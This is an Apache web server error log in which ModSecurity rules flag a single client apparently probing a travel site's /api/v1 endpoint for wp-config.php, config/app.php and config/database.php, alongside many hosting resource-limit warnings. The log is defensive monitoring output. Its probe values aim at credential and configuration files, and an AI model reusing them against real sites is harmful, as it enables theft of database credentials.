[Fri Jul 17 08:55:43.679416 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api"] [unique_id "almgtw5GPQ6hs4VrfMpBswAAAAY"]
[Fri Jul 17 08:55:43.679687 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.679940 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgtw5GPQ6hs4VrfMpBswAAAAY"]
[Fri Jul 17 08:55:43.692793 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.700235 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.707610 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.713767 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.729862 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.806541 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:43.892264 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:43.914113 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.924241 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.928776 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.929585 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.934387 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.950465 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.969009 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.969425 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.971360 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.972966 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: acion/wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api/v1"] [unique_id "almgtw5GPQ6hs4VrfMpBtgAAAAY"]
[Fri Jul 17 08:55:43.979119 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api/v1"] [unique_id "almgtw5GPQ6hs4VrfMpBtgAAAAY"]
[Fri Jul 17 08:55:43.979332 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.979538 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgtw5GPQ6hs4VrfMpBtgAAAAY"]
[Fri Jul 17 08:55:43.991399 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api/v1"] [unique_id "almgtxAi3pC6yjXGNq2AigAAAAU"]
[Fri Jul 17 08:55:43.992007 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api/v1"] [unique_id "almgtxAi3pC6yjXGNq2AigAAAAU"]
[Fri Jul 17 08:55:43.992145 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.992265 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgtxAi3pC6yjXGNq2AigAAAAU"]
[Fri Jul 17 08:55:44.008219 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: xwan1/config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api/v1"] [unique_id "almguI1dLClkUfK_dfHk1wAAAAI"]
[Fri Jul 17 08:55:44.008797 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api/v1"] [unique_id "almguI1dLClkUfK_dfHk1wAAAAI"]
[Fri Jul 17 08:55:44.008928 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.009122 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguI1dLClkUfK_dfHk1wAAAAI"]
[Fri Jul 17 08:55:44.021227 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api/v1"] [unique_id "almguIe39YUk0SgV8AU6oQAAABE"]
[Fri Jul 17 08:55:44.021868 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api/v1"] [unique_id "almguIe39YUk0SgV8AU6oQAAABE"]
[Fri Jul 17 08:55:44.022028 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.022211 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguIe39YUk0SgV8AU6oQAAABE"]
[Fri Jul 17 08:55:44.024895 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: shban/config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api/v1"] [unique_id "almguEgVnBK6wAv37w6sZgAAABQ"]
[Fri Jul 17 08:55:44.025529 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api/v1"] [unique_id "almguEgVnBK6wAv37w6sZgAAABQ"]
[Fri Jul 17 08:55:44.025719 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.025854 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguEgVnBK6wAv37w6sZgAAABQ"]
[Fri Jul 17 08:55:44.027400 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:44.028322 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api/v1"] [unique_id "almguDsMb3am0TgkjETazAAAAAo"]
[Fri Jul 17 08:55:44.028939 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api/v1"] [unique_id "almguDsMb3am0TgkjETazAAAAAo"]
[Fri Jul 17 08:55:44.029072 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.029204 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguDsMb3am0TgkjETazAAAAAo"]
[Fri Jul 17 08:55:44.035558 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.059498 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.079674 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.081145 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.086199 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.092217 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.114865 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.135265 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
